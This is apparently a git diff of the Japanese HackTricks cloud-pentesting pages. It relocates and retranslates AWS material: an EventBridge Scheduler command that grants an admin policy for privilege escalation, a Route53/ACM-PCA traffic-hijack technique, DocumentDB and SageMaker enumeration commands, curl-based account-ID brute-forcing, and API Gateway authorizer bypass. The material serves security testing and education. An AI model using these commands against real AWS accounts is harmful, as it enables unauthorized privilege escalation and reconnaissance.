+例えば、スケジュールを構成して、テンプレート化されたアクションである **invoke a Lambda function** するよう設定できます:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,9 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**universal targets**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。Universal targetsは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、**AdminAccessPolicy**を追加することです。
+テンプレート化された service actions に加えて、EventBridge Scheduler の **universal targets** を使い、さまざまな AWS サービスの幅広い API 操作を呼び出すことができます。  
+Universal targets はほぼあらゆる API を呼び出す柔軟性を提供します。  
+例として、**AdminAccessPolicy** を追加する **universal targets** を使用し、**putRolePolicy** ポリシーを持つロールを用いる方法があります:
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
@@ -42,4 +44,4 @@ aws scheduler create-schedule \
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index 33d9f8d60..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Route53 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Route53に関する詳細情報は次を確認してください：
-
-{{#ref}}
-../aws-services/aws-route53-enum.md
-{{#endref}}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-> [!NOTE]
-> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整っている場合、AWS APIトラフィックを傍受するために次の攻撃を実行できます。
-
-列挙部分に**推奨されるが必須ではない**他の権限：`route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAがそれに使用され**、敵が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っている場合、AWS APIへのアプリケーション呼び出しを**ハイジャック**し、IAM権限を奪うことができます。
-
-これは次の理由から可能です：
-
-- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていない
-- Route53はAWS APIのドメイン名用にプライベートホステッドゾーンとDNSレコードを作成することを許可している
-- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できない
-
-**潜在的な影響：** トラフィック内の機密情報を傍受することによる間接的な権限昇格。
-
-#### Exploitation <a href="#discovery" id="discovery"></a>
-
-元の研究でのエクスプロイト手順を見つけてください：[**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
new file mode 100644
index 000000000..4043af4ac
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+For more information about Route53 check:
+
+{{#ref}}
+../../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> この攻撃を実行するには、対象アカウントにすでに [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** がセットアップされており、VPC 内の EC2 インスタンスがそれを信頼するための証明書を既にインポートしている必要があります。このインフラが整っていれば、以下の攻撃で AWS API トラフィックを傍受できます。
+
+Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
+
+This is possible because:
+
+- AWS SDKs は Certificate Pinning を実装していない
+- Route53 は Private Hosted Zone と AWS API のドメイン名用の DNS レコードを作成できる
+- ACM-PCA の Private CA は特定の Common Names のみに証明書の署名を制限できない
+
+**Potential Impact:** トラフィックを傍受して機密情報を取得することで、間接的な privesc が発生する可能性があります。
+
+#### 悪用 <a href="#discovery" id="discovery"></a>
+
+Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
deleted file mode 100644
index 13a30b589..000000000
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - DocumentDB Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## DocumentDB
-
-Amazon DocumentDBは、MongoDBとの互換性を提供し、**高速で信頼性が高く、完全に管理されたデータベースサービス**として提供されています。展開、運用、スケーラビリティの簡素化を目的として設計されており、**MongoDB互換のデータベースをクラウドでシームレスに移行および運用する**ことができます。ユーザーはこのサービスを利用して、既存のアプリケーションコードを実行し、馴染みのあるドライバーやツールを活用することで、MongoDBを使用しているかのようにスムーズな移行と運用を実現できます。
-
-### Enumeration
-```bash
-aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
-aws docdb describe-db-instances #Get hostnames from here
-
-# Parameter groups
-aws docdb describe-db-cluster-parameter-groups
-aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <param_group_name>
-
-# Snapshots
-aws docdb describe-db-cluster-snapshots
-aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
-```
-### NoSQLインジェクション
-
-DocumentDBはMongoDB互換のデータベースであるため、一般的なNoSQLインジェクション攻撃に対しても脆弱であると考えられます：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
-{{#endref}}
-
-### DocumentDB
-
-{{#ref}}
-../aws-unauthenticated-enum-access/aws-documentdb-enum.md
-{{#endref}}
-
-## 参考文献
-
-- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..2b88c718a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
@@ -0,0 +1,40 @@
+# AWS - DocumentDB 列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## DocumentDB
+
+Amazon DocumentDBはMongoDB互換性を提供する、**高速で信頼性が高く完全に管理されたデータベースサービス**です。デプロイ、運用、スケーリングの簡素化を目的として設計されており、**クラウド上でMongoDB互換のデータベースをシームレスに移行および運用**できます。ユーザーはこのサービスを利用して既存のアプリケーションコードを実行し、馴染みのあるドライバーやツールを活用することで、MongoDBで作業するのと同様のスムーズな移行と運用を実現できます。
+
+### 列挙
+```bash
+aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
+aws docdb describe-db-instances #Get hostnames from here
+
+# Parameter groups
+aws docdb describe-db-cluster-parameter-groups
+aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <param_group_name>
+
+# Snapshots
+aws docdb describe-db-cluster-snapshots
+aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
+```
+### NoSQL Injection
+
+DocumentDBはMongoDB互換のデータベースであるため、一般的な NoSQL injection 攻撃にも脆弱であると考えられます:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
+{{#endref}}
+
+### DocumentDB
+
+{{#ref}}
+../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
+{{#endref}}
+
+## 参考
+
+- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
new file mode 100644
index 000000000..022a3ee68
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -0,0 +1,200 @@
+# AWS - SageMaker Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Service Overview
+
+Amazon SageMaker は、notebooks、training infrastructure、orchestration、registries、managed endpoints を統合する AWS のマネージド機械学習プラットフォームです。SageMaker リソースの compromise により通常得られるものは以下の通りです:
+
+- 長期有効な IAM 実行ロールで、広範な S3、ECR、Secrets Manager、または KMS へのアクセス。
+- S3、EFS、または feature stores 内に保存された機密データセットへのアクセス。
+- VPC 内のネットワーク足掛かり（Studio apps、training jobs、endpoints）。
+- コンソール認証をバイパスする高権限の presigned URLs。
+
+SageMaker がどのように組み立てられているかを理解することは、データを pivot、persist、または exfiltrate する前に不可欠です。
+
+## Core Building Blocks
+
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio)。各 domain は共有の EFS ファイルシステムとデフォルトの実行ロールを持ちます。
+- **Notebook Instances**: スタンドアロンノートブック用の管理された EC2 インスタンス。専用の実行ロールを使用します。
+- **Training / Processing / Transform Jobs**: ECR からコードを、S3 からデータを取得する一時的なコンテナ。
+- **Pipelines & Experiments**: 全てのステップ、入力、出力を記述するオーケストレーションされたワークフロー。
+- **Models & Endpoints**: HTTPS endpoints 経由で推論にデプロイされるパッケージ化されたアーティファクト。
+- **Feature Store & Data Wrangler**: データ準備と feature 管理のためのマネージドサービス。
+- **Autopilot & JumpStart**: 自動化された ML とキュレーションされたモデルカタログ。
+- **MLflow Tracking Servers**: presigned access tokens を用いる管理された MLflow UI/API。
+
+すべてのリソースは実行ロール、S3 の場所、コンテナイメージ、およびオプションの VPC/KMS 構成を参照するため、enumeration の際にそれらすべてを取得してください。
+
+## Account & Global Metadata
+```bash
+REGION=us-east-1
+# Portfolio status, used when provisioning Studio resources
+aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION
+
+# List execution roles used by models (extend to other resources as needed)
+aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr '	' '
+' | sort -u
+
+# Generic tag sweep across any SageMaker ARN you know
+aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
+```
+クロスアカウントの信頼（execution roles や S3 buckets with external principals）および service control policies や SCPs といったベースライン制限を記録してください。
+
+## Studio ドメイン、Apps、共有スペース
+```bash
+aws sagemaker list-domains --region $REGION
+aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
+aws sagemaker list-user-profiles --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-user-profile --domain-id <domain-id> --user-profile-name <profile> --region $REGION
+
+# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.)
+aws sagemaker list-apps --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-app --domain-id <domain-id> --user-profile-name <profile> --app-type JupyterServer --app-name default --region $REGION
+
+# Shared collaborative spaces
+aws sagemaker list-spaces --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --region $REGION
+
+# Studio lifecycle configurations (shell scripts at start/stop)
+aws sagemaker list-studio-lifecycle-configs --region $REGION
+aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
+```
+何を記録するか：
+
+- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
+- マウントされた EFS（`HomeEfsFileSystemId`）および S3 のホームディレクトリ。
+- Lifecycle scripts（多くの場合、bootstrap credentials や push/pull の追加コードが含まれる）。
+
+> [!TIP]
+> Presigned Studio URLs は、広く付与されていると認証をバイパスする可能性がある。
+
+## Notebook Instances & Lifecycle Configs
+```bash
+aws sagemaker list-notebook-instances --region $REGION
+aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
+aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
+aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
+```
+Notebookのメタデータから判明すること:
+
+- 実行ロール (`RoleArn`)、直接インターネットアクセスかVPC限定モードか。
+- `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess` に設定された S3 の場所。
+- 認証情報や永続化フックのためのライフサイクルスクリプト。
+
+## Training, Processing, Transform & Batch Jobs
+```bash
+aws sagemaker list-training-jobs --region $REGION
+aws sagemaker describe-training-job --training-job-name <job> --region $REGION
+
+aws sagemaker list-processing-jobs --region $REGION
+aws sagemaker describe-processing-job --processing-job-name <job> --region $REGION
+
+aws sagemaker list-transform-jobs --region $REGION
+aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
+```
+- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – どの ECR イメージがデプロイされているか.
+- `InputDataConfig` & `OutputDataConfig` – S3 バケット、プレフィックス、および KMS キー.
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ネットワークや暗号化の構成を判断する.
+- `HyperParameters` may leak environment secrets or connection strings.
+
+## パイプライン、実験 & トライアル
+```bash
+aws sagemaker list-pipelines --region $REGION
+aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
+aws sagemaker describe-pipeline --pipeline-name <pipeline> --region $REGION
+
+aws sagemaker list-experiments --region $REGION
+aws sagemaker list-trials --experiment-name <experiment> --region $REGION
+aws sagemaker list-trial-components --trial-name <trial> --region $REGION
+```
+パイプライン定義は、各ステップ、関連するロール、コンテナイメージ、および環境変数を詳細に記述します。トライアルコンポーネントには、しばしば学習アーティファクトのURIs、S3ログ、および機密データの流れを示唆するメトリクスが含まれていることが多いです。
+
+## モデル、エンドポイント構成 & デプロイ済みエンドポイント
+```bash
+aws sagemaker list-models --region $REGION
+aws sagemaker describe-model --model-name <name> --region $REGION
+
+aws sagemaker list-endpoint-configs --region $REGION
+aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $REGION
+
+aws sagemaker list-endpoints --region $REGION
+aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
+```
+注力領域:
+
+- モデルアーティファクトの S3 URIs (`PrimaryContainer.ModelDataUrl`) と推論コンテナイメージ。
+- エンドポイントの data capture 設定（S3 bucket、KMS）を確認し、possible log exfil の可能性を調査。
+- `S3DataSource` または `ModelPackage` を使用する multi-model endpoints（cross-account packaging を確認）。
+- エンドポイントに紐付くネットワーク構成およびセキュリティグループ。
+
+## Feature Store, Data Wrangler & Clarify
+```bash
+aws sagemaker list-feature-groups --region $REGION
+aws sagemaker describe-feature-group --feature-group-name <feature-group> --region $REGION
+
+aws sagemaker list-data-wrangler-flows --region $REGION
+aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
+
+aws sagemaker list-model-quality-job-definitions --region $REGION
+aws sagemaker list-model-monitoring-schedule --region $REGION
+```
+セキュリティの要点:
+
+- Online feature storesはデータをKinesisに複製します。`OnlineStoreConfig.SecurityConfig.KmsKeyId` と VPC を確認してください。
+- Data Wrangler flowsはしばしばJDBC/Redshiftの認証情報やプライベートエンドポイントを埋め込んでいます。
+- Clarify/Model Monitor jobsはS3にデータをエクスポートしますが、そのS3が公開（world-readable）されていたりクロスアカウントからアクセス可能になっている場合があります。
+
+## MLflow Tracking Servers, Autopilot & JumpStart
+```bash
+aws sagemaker list-mlflow-tracking-servers --region $REGION
+aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
+
+aws sagemaker list-auto-ml-jobs --region $REGION
+aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
+
+aws sagemaker list-jumpstart-models --region $REGION
+aws sagemaker list-jumpstart-script-resources --region $REGION
+```
+- MLflow tracking servers は実験とアーティファクトを保存します。事前署名付きURLはすべてを公開する可能性があります。
+- Autopilot ジョブは複数の training jobs を起動します — 出力を列挙して隠れたデータを探してください。
+- JumpStart のリファレンスアーキテクチャはアカウント内に特権ロールをデプロイする場合があります。
+
+## IAM とネットワークに関する考慮事項
+
+- すべての実行ロール（Studio、notebooks、training jobs、pipelines、endpoints）にアタッチされている IAM ポリシーを列挙してください。
+- ネットワークの状況（subnets、security groups、VPC endpoints）を確認します。多くの組織は training jobs を分離していますが、アウトバウンド通信の制限を忘れがちです。
+- 外部アクセスの観点から、`ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` で参照されている S3 バケットポリシーを確認してください。
+
+## Privilege Escalation
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../../aws-persistence/aws-sagemaker-persistence/README.md
+{{#endref}}
+
+## Post-Exploitation
+
+{{#ref}}
+../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+{{#endref}}
+
+## Unauthorized Access
+
+{{#ref}}
+../aws-sagemaker-unauthorized-access/README.md
+{{#endref}}
+
+## 参考
+
+- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
+- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
+- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html)
+- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index cea6526f2..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - アカウントの認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## アカウントID
-
-ターゲットがある場合、ターゲットに関連するアカウントのアカウントIDを特定する方法があります。
-
-### ブルートフォース
-
-潜在的なアカウントIDとエイリアスのリストを作成し、それらをチェックします。
-```bash
-# Check if an account ID exists
-curl -v https://<acount_id>.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-このプロセスは[このツールを使って自動化できます](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)。
-
-### OSINT
-
-**組織に関連する**エイリアスを持つ`<alias>.signin.aws.amazon.com`を含むURLを探します。
-
-### Marketplace
-
-ベンダーが**マーケットプレイスにインスタンスを持っている場合、**彼が使用したAWSアカウントのオーナーID（アカウントID）を取得できます。
-
-### Snapshots
-
-- 公開EBSスナップショット（EC2 -> Snapshots -> Public Snapshots）
-- RDS公開スナップショット（RDS -> Snapshots -> All Public Snapshots）
-- 公開AMI（EC2 -> AMIs -> Public images）
-
-### Errors
-
-多くのAWSエラーメッセージ（アクセス拒否を含む）は、その情報を提供します。
-
-## References
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..cb043db8d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## アカウントID
+
+ターゲットがわかっている場合、ターゲットに関連するアカウントのアカウントIDを特定しようとする方法がいくつかあります。
+
+### Brute-Force
+
+候補となるアカウントIDやエイリアスのリストを作成して確認します。
+```bash
+# Check if an account ID exists
+curl -v https://<acount_id>.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)。
+
+### OSINT
+
+組織に関連する**alias**を含む `<alias>.signin.aws.amazon.com` のようなURLを探してください。
+
+### Marketplace
+
+ベンダーが**instances in the marketplace,**を出している場合、そのベンダーが使用したAWSアカウントのowner id（account id）を取得できます。
+
+### Snapshots
+
+- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
+- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Public AMIs (EC2 -> AMIs -> Public images)
+
+### Errors
+
+多くのAWSエラーメッセージ（access deniedでさえ）はその情報を示します。
+
+## References
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index c28ac7184..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - API Gateway 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### API 呼び出しバイパス
-
-[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)の講演によると、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出す権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Permission",
-"Action": ["execute-api:Execution-operation"],
-"Resource": [
-"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-]
-}
-]
-}
-```
-このエンドポイントを呼び出すための権限を与える方法の問題は、**"\*"が「何でも」を意味し**、**正規表現の構文がサポートされていない**ことです。
-
-いくつかの例：
-
-- `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`のようなルールは、各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるために使用されますが、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。
-
-> [!WARNING]
-> **"\*"はスラッシュでの拡張を止めない**ことに注意してください。したがって、例えばapi-idで"\*"を使用すると、最終的な正規表現が有効である限り、「任意のステージ」や「任意のメソッド」を示す可能性もあります。\
-> したがって、`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> は、例えば`/prod/GET/dashboard/admin`へのパスに対してテストステージへのポストリクエストを検証できます。
-
-アクセスを許可したいものを常に明確にし、与えられた権限で他のシナリオが可能かどうかを確認する必要があります。
-
-詳細については、[**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)の他に、[**この公式aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)でオーソライザーを実装するためのコードを見つけることができます。
-
-### IAMポリシーインジェクション
-
-同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード（および"."や特定の文字列など）が含まれる可能性があり、**制限を回避する**ことを目的としていることが明らかにされています。
-
-### 公開URLテンプレート
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-### 公開API Gateway URLからアカウントIDを取得する
-
-S3バケット、Data Exchange、Lambda URLゲートウェイと同様に、公開API Gateway URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\
-この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます（いくつかのデフォルトの興味深いものがあります）。
-
-詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
new file mode 100644
index 000000000..76522856e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
@@ -0,0 +1,53 @@
+# AWS - API Gateway Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+トーク [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) によると、Lambda Authorizers は **using IAM syntax** を用いて API エンドポイントを invoke する権限を付与するように設定できます。これは [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
+}
+```
+The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+
+いくつかの例:
+
+- `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` のようなルールで各ユーザーに `/dashboard/user/{username}` へのアクセスを与えようとすると、例えば `/admin/dashboard/createAdmin` のような他のルートにもアクセスできてしまいます。
+
+> [!WARNING]
+> **"\*" がスラッシュで展開を止めない** ことに注意してください。したがって、たとえば api-id に "\*" を使うと、最終的な regex が有効である限り「任意のステージ」や「任意のメソッド」を示すことにもなり得ます。\
+> 例: `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> たとえば `/prod/GET/dashboard/admin` のようなパスへの test ステージへの POST リクエストを許可してしまう可能性があります。
+
+何にアクセスを許可したいのかを常に明確にし、付与した権限で他のシナリオが発生し得ないか確認すべきです。
+
+For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+同じ [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) では、コードが **user input** を使って **generate the IAM policies** を行う場合、wildcards (and others such as "." or specific strings) を含めることで **bypassing restrictions** を狙えることが示されています。
+
+### Public URL template
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
